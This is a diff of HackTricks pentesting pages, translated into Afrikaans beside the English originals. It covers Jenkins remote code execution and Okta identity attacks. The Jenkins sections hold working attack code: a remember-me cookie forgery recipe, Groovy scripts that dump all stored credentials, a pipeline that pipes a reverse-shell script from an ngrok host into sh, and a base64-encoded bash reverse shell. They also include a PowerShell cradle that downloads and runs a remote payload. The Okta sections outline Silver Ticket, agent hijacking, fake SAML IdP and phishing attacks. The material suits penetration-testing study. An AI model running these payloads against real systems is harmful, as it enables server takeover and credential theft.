token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
**MAC Sleutel Ontsleuteling**
|
||||
|
||||
- **Decrypt MAC Key File:**
|
||||
- **Ontsleutel MAC Sleutel Lêer:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert meester sleutel na AES128 sleutel formaat
|
||||
decrypted = AES.decrypt(macFile, key) // Ontsleutel die .mac lêer
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
**Handtekening Berekening**
|
||||
|
||||
- **Compute HMAC SHA256:**
|
||||
- **Bereken HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Bereken HMAC met die token en MAC sleutel
|
||||
tokenSignature = bytesToHexString(mac) // Convert die MAC na 'n hexadesimale string
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
**Koekie Kodering**
|
||||
|
||||
- **Generate Final Cookie:**
|
||||
- **Genereer Finale Koekie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 kodeer die koekie data
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
#### Stap 3: Kode Uitvoering
|
||||
|
||||
**Session Authentication**
|
||||
**Sessie Verifikasie**
|
||||
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
- **Haal CSRF en Sessie Tokens:**
|
||||
- Maak 'n versoek na `/crumbIssuer/api/json` om `Jenkins-Crumb` te verkry.
|
||||
- Vang `JSESSIONID` uit die antwoord, wat saam met die remember-me koekie gebruik sal word.
|
||||
|
||||
**Command Execution Request**
|
||||
**Opdrag Uitvoeringsversoek**
|
||||
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
- **Stuur 'n POST Versoek met Groovy Skrip:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
- Groovy skrip kan gebruik word om stelselniveau opdragte of ander operasies binne die Jenkins omgewing uit te voer.
|
||||
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
Die voorbeeld curl opdrag wat verskaf word demonstreer hoe om 'n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,10 +3,9 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
> Let daarop dat hierdie skripte slegs die geheime binne die `credentials.xml`-lêer sal lys, maar **boukonfigurasielêers** mag ook **meer kredensiale** hê.
|
||||
|
||||
Jy kan **alle geheime uit die Groovy Script-konsol** in `/script` dump deur hierdie kode te loop
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
|
||||
#### or this one:
|
||||
|
||||
#### of hierdie een:
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,42 +2,36 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a new Pipeline
|
||||
## Skep 'n nuwe Pyplyn
|
||||
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
In "Nuwe Item" (toeganklik in `/view/all/newJob`) kies **Pyplyn:**
|
||||
|
||||
.png>)
|
||||
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
In die **Pyplyn afdeling** skryf die **reverse shell**:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Pipeline
|
||||
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
As jy toegang het tot die konfigurasie-lêer van 'n sekere geconfigureerde pyplyn, kan jy dit eenvoudig **wysig deur jou omgekeerde skulp by te voeg** en dit dan uitvoer of wag totdat dit uitgevoer word.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,37 +4,33 @@
|
||||
|
||||
## Creating a Project
|
||||
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
Hierdie metode is baie luidrugtig omdat jy 'n heel nuwe projek moet skep (duidelik sal dit net werk as jou gebruiker toegelaat word om 'n nuwe projek te skep).
|
||||
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **Skep 'n nuwe projek** (Freestyle project) deur op "New Item" te klik of in `/view/all/newJob`
|
||||
2. Binne die **Build** afdeling stel **Execute shell** in en plak 'n powershell Empire launcher of 'n meterpreter powershell (kan verkry word met _unicorn_). Begin die payload met _PowerShell.exe_ in plaas van _powershell._
|
||||
3. Klik op **Build now**
|
||||
1. As die **Build now** knoppie nie verskyn nie, kan jy steeds na **configure** --> **Build Triggers** --> `Build periodically` gaan en 'n cron van `* * * * *` stel
|
||||
2. In plaas van om cron te gebruik, kan jy die konfigurasie "**Trigger builds remotely**" gebruik waar jy net die api token naam moet stel om die taak te aktiveer. Gaan dan na jou gebruikersprofiel en **genereer 'n API token** (noem hierdie API token soos jy die api token genoem het om die taak te aktiveer). Laastens, aktiveer die taak met: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
Gaan na die projekte en kyk **of jy enige** daarvan kan konfigureer (soek na die "Configure button"):
|
||||
|
||||
.png>)
|
||||
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
As jy **nie** enige **konfigurasie** **knoppie** kan sien nie, dan kan jy waarskynlik **nie** dit **konfigureer** nie (maar kyk na al die projekte aangesien jy dalk sommige daarvan kan konfigureer en nie ander nie).
|
||||
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
Of **probeer om toegang te verkry tot die pad** `/job/<proj-name>/configure` of `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in elke projek (voorbeeld: `/job/Project0/configure` of `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
As jy toegelaat word om die projek te konfigureer, kan jy **maak dat dit opdragte uitvoer wanneer 'n bou suksesvol is**:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
Klik op **Save** en **bou** die projek en jou **opdrag sal uitgevoer word**.\
|
||||
As jy nie 'n reverse shell uitvoer nie, maar 'n eenvoudige opdrag, kan jy **die uitvoer van die opdrag binne die uitvoer van die bou sien**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,24 @@
|
||||
# Jenkins RCE with Groovy Script
|
||||
# Jenkins RCE met Groovy Skrip
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
## Jenkins RCE met Groovy Skrip
|
||||
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
Dit is minder luidrugtig as om 'n nuwe projek in Jenkins te skep
|
||||
|
||||
1. Gaan na _path_jenkins/script_
|
||||
2. Binne die tekskas stel die skrip voor
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
U kan 'n opdrag uitvoer met: `cmd.exe /c dir`
|
||||
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
In **linux** kan jy doen: **`"ls /".execute().text`**
|
||||
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
As jy _aanhalings_ en _enkele aanhalings_ binne die teks moet gebruik. Jy kan _"""PAYLOAD"""_ (drie dubbele aanhalings) gebruik om die payload uit te voer.
|
||||
|
||||
**Nog 'n nuttige groovy script** is (vervang \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
### Omgekeerde skulp in linux
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
Jy kan 'n HTTP-bediener met 'n PS reverse shell voorberei en Jeking gebruik om dit af te laai en uit te voer:
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
|
||||
### Script
|
||||
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
Jy kan hierdie proses outomatiseer met [**hierdie skrip**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
Jy kan MSF gebruik om 'n omgekeerde shell te kry:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,60 +4,60 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
[Okta, Inc.](https://www.okta.com/) word erken in die identiteit en toegang bestuur sektor vir sy wolk-gebaseerde sagteware oplossings. Hierdie oplossings is ontwerp om gebruikersverifikasie oor verskeie moderne toepassings te stroomlyn en te beveilig. Hulle is nie net gerig op maatskappye wat hul sensitiewe data wil beskerm nie, maar ook op ontwikkelaars wat belangstel om identiteitsbeheer in toepassings, webdienste en toestelle te integreer.
|
||||
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
Die vlaggies aanbod van Okta is die **Okta Identity Cloud**. Hierdie platform sluit 'n suite van produkte in, insluitend maar nie beperk tot nie:
|
||||
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
- **Single Sign-On (SSO)**: Vereenvoudig gebruikers toegang deur een stel aanmeldbesonderhede oor verskeie toepassings toe te laat.
|
||||
- **Multi-Factor Authentication (MFA)**: Versterk sekuriteit deur verskeie vorme van verifikasie te vereis.
|
||||
- **Lifecycle Management**: Automatiseer die skepping, opdatering en deaktivering van gebruikersrekeninge.
|
||||
- **Universal Directory**: Maak sentrale bestuur van gebruikers, groepe en toestelle moontlik.
|
||||
- **API Access Management**: Beveilig en bestuur toegang tot API's.
|
||||
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
Hierdie dienste het as doel om dataprotectie te versterk en gebruikers toegang te stroomlyn, wat beide sekuriteit en gerief verbeter. Die veelsydigheid van Okta se oplossings maak dit 'n gewilde keuse oor verskeie industrieë, voordelig vir groot ondernemings, klein maatskappye en individuele ontwikkelaars. Soos van die laaste opdatering in September 2021, word Okta erken as 'n prominente entiteit in die Identiteit en Toegang Bestuur (IAM) arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
> Die hoofdoel van Okta is om toegang tot verskillende gebruikers en groepe tot eksterne toepassings te konfigureer. As jy daarin slaag om **administrateur regte in 'n Okta** omgewing te **kompromitteer**, sal jy hoogs waarskynlik in staat wees om **alle ander platforms wat die maatskappy gebruik te kompromitteer**.
|
||||
|
||||
> [!TIP]
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
> Om 'n sekuriteitsherziening van 'n Okta omgewing uit te voer, moet jy vra vir **administrateur lees-slegs toegang**.
|
||||
|
||||
### Summary
|
||||
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
Daar is **gebruikers** (wat kan wees **gestoor in Okta,** ingelogde van geconfigureerde **Identiteitsverskaffers** of geverifieer via **Active Directory** of LDAP).\
|
||||
Hierdie gebruikers kan binne **groepe** wees.\
|
||||
Daar is ook **verifikators**: verskillende opsies om te verifieer soos wagwoord, en verskeie 2FA soos WebAuthn, e-pos, telefoon, okta verify (hulle kan geaktiveer of gedeaktiveer wees)...
|
||||
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
Dan is daar **toepassings** wat met Okta gesinkroniseer is. Elke toepassing sal 'n paar **kaarte met Okta** hê om inligting te deel (soos e-pos adresse, voorname...). Boonop moet elke toepassing binne 'n **Verifikasiebeleid** wees, wat die **nodige verifikators** aandui vir 'n gebruiker om die toepassing te **benader**.
|
||||
|
||||
> [!CAUTION]
|
||||
> The most powerful role is **Super Administrator**.
|
||||
> Die mees kragtige rol is **Super Administrator**.
|
||||
>
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
> As 'n aanvaller Okta met Administrateur toegang kompromitteer, sal al die **toepassings wat Okta vertrou** hoogs waarskynlik **gekompromitteer** wees.
|
||||
|
||||
## Attacks
|
||||
|
||||
### Locating Okta Portal
|
||||
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
Gewoonlik sal die portaal van 'n maatskappy geleë wees in **companyname.okta.com**. As dit nie so is nie, probeer eenvoudige **variaties** van **companyname.** As jy dit nie kan vind nie, is dit ook moontlik dat die organisasie 'n **CNAME** rekord het soos **`okta.companyname.com`** wat na die **Okta portaal** wys.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
As **`companyname.kerberos.okta.com`** aktief is, **word Kerberos gebruik vir Okta toegang**, wat tipies **MFA** vir **Windows** gebruikers omseil. Om Kerberos-geverifieerde Okta gebruikers in AD te vind, voer **`getST.py`** uit met **geskikte parameters**. Nadat jy 'n **AD gebruikerskaart** verkry het, **injekteer** dit in 'n beheerde gasheer met behulp van gereedskap soos Rubeus of Mimikatz, en verseker dat **`clientname.kerberos.okta.com` in die Internet Opsies "Intranet" sone is**. Toegang tot 'n spesifieke URL moet 'n JSON "OK" antwoord teruggee, wat die aanvaarding van die Kerberos kaart aandui, en toegang tot die Okta dashboard verleen.
|
||||
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
Die kompromitering van die **Okta diensrekening met die delegasie SPN stel 'n Silver Ticket aanval in staat.** egter, Okta se gebruik van **AES** vir kaartversleuteling vereis dat die AES-sleutel of platte wagwoord besit word. Gebruik **`ticketer.py` om 'n kaart vir die slagoffer gebruiker te genereer** en lewer dit via die blaaiert om met Okta te verifieer.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
Hierdie tegniek behels **toegang tot die Okta AD Agent op 'n bediener**, wat **gebruikers sinkroniseer en verifikasie hanteer**. Deur konfigurasies in **`OktaAgentService.exe.config`** te ondersoek en te ontsleutel, veral die AgentToken met behulp van **DPAPI**, kan 'n aanvaller potensieel **verifikasiedata onderskep en manipuleer**. Dit stel nie net in staat om **te monitor** en **gebruikers se akrediteer in platte teks** tydens die Okta verifikasie proses nie, maar ook om **te reageer op verifikasie pogings**, wat ongeoorloofde toegang moontlik maak of universele verifikasie deur Okta bied (soos 'n 'skelet sleutel').
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
Hierdie tegniek behels die kaping van 'n Okta AD Agent deur eers 'n OAuth Code te verkry, en dan 'n API-token aan te vra. Die token is geassosieer met 'n AD domein, en 'n **connector word genoem om 'n vals AD agent te vestig**. Inisialiserings laat die agent toe om **verifikasie pogings te verwerk**, wat akrediteer via die Okta API vasvang. Outomatiseringsgereedskap is beskikbaar om hierdie proses te stroomlyn, wat 'n naatlose metode bied om verifikasiedata binne die Okta omgewing te onderskep en te hanteer.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
@@ -65,42 +65,42 @@ This technique involves hijacking an Okta AD Agent by first obtaining an OAuth C
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
Die tegniek behels **die ontplooiing van 'n vals SAML verskaffer**. Deur 'n eksterne Identiteitsverskaffer (IdP) binne Okta se raamwerk te integreer met 'n bevoorregte rekening, kan aanvallers **die IdP beheer, enige verifikasie versoek na willekeur goedkeur**. Die proses behels die opstelling van 'n SAML 2.0 IdP in Okta, die manipulasie van die IdP Single Sign-On URL vir omleiding via die plaaslike gashere lêer, die generering van 'n self-ondertekende sertifikaat, en die konfigurasie van Okta instellings om teen die gebruikersnaam of e-pos te pas. Die suksesvolle uitvoering van hierdie stappe maak verifikasie as enige Okta gebruiker moontlik, wat die behoefte aan individuele gebruikers akrediteer omseil, wat toegangbeheer in 'n potensieel onopgemerkte manier aansienlik verhoog.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) word verduidelik hoe om 'n phishing veldtog teen 'n Okta portaal voor te berei.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
Die **kenmerke wat elke gebruiker kan hê en wysig** (soos e-pos of voornaam) kan in Okta geconfigureer word. As 'n **toepassing** **vertrou** as ID 'n **kenmerk** wat die gebruiker kan **wysig**, sal hy in staat wees om **ander gebruikers in daardie platform na te doen**.
|
||||
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
Daarom, as die app die veld **`userName`** vertrou, sal jy waarskynlik nie in staat wees om dit te verander nie (omdat jy gewoonlik nie daardie veld kan verander nie), maar as dit vertrou byvoorbeeld **`primaryEmail`** kan jy dalk **dit na 'n kollega se e-pos adres verander** en dit na doen (jy sal toegang tot die e-pos moet hê en die verandering moet aanvaar).
|
||||
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
Let daarop dat hierdie nabootsing afhang van hoe elke toepassing geconfigureer is. Slegs diegene wat die veld wat jy gewysig het vertrou en opdaterings aanvaar, sal gekompromitteer word.\
|
||||
Daarom moet die app hierdie veld geaktiveer hê as dit bestaan:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
Ek het ook ander toepassings gesien wat kwesbaar was maar nie daardie veld in die Okta instellings gehad het nie (aan die einde is verskillende toepassings anders geconfigureer).
|
||||
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
Die beste manier om uit te vind of jy iemand op elke app kan naboots, sal wees om dit te probeer!
|
||||
|
||||
